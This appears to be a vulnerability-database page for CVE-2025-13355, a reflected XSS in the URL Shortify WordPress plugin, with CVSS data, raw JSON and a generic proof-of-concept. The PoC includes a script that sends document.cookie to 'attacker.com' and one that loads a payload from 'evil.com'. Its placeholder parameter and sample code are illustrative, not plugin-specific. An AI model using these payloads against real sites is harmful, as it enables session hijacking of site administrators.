Security Vulnerability Report
中文
CVE-2025-13355 CVSS 7.1 HIGH

CVE-2025-13355

Published: 2025-12-15 06:15:43
Last Modified: 2026-04-15 00:35:42

Description

The URL Shortify WordPress plugin before 1.11.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

URL Shortify WordPress plugin < 1.11.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13355 PoC - URL Shortify Reflected XSS --> <!-- This PoC demonstrates the reflected XSS in URL Shortify plugin < 1.11.4 --> <!-- Attacker creates a malicious URL targeting WordPress admin --> <!-- The malicious URL contains XSS payload in the vulnerable parameter --> <!-- Example attack URL (URL encode special characters as needed): --> <!-- https://target-site.com/?some_param=<script>alert(document.cookie)</script> --> <!-- More sophisticated payload for session hijacking: --> <!-- <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> --> <!-- Social engineering aspect: --> <!-- Attacker sends this link to admin via email or message --> <!-- When admin clicks, XSS executes in admin's browser context --> <!-- Technical details: --> <!-- 1. Plugin does: echo $_GET['param']; // Without sanitization --> <!-- 2. Attacker injects: <script src='https://evil.com/payload.js'></script> --> <!-- 3. Payload executes with admin privileges --> <!-- Mitigation: Upgrade to URL Shortify >= 1.11.4 --> <!-- Or apply proper input sanitization and output encoding --> <!-- Example fix: echo esc_html( sanitize_text_field( $_GET['param'] ) ); -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13355", "sourceIdentifier": "[email protected]", "published": "2025-12-15T06:15:42.630", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Shortify WordPress plugin before 1.11.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/8581af77-2d72-48e8-9b22-2c36f122473c/", "source": "[email protected]"}]}}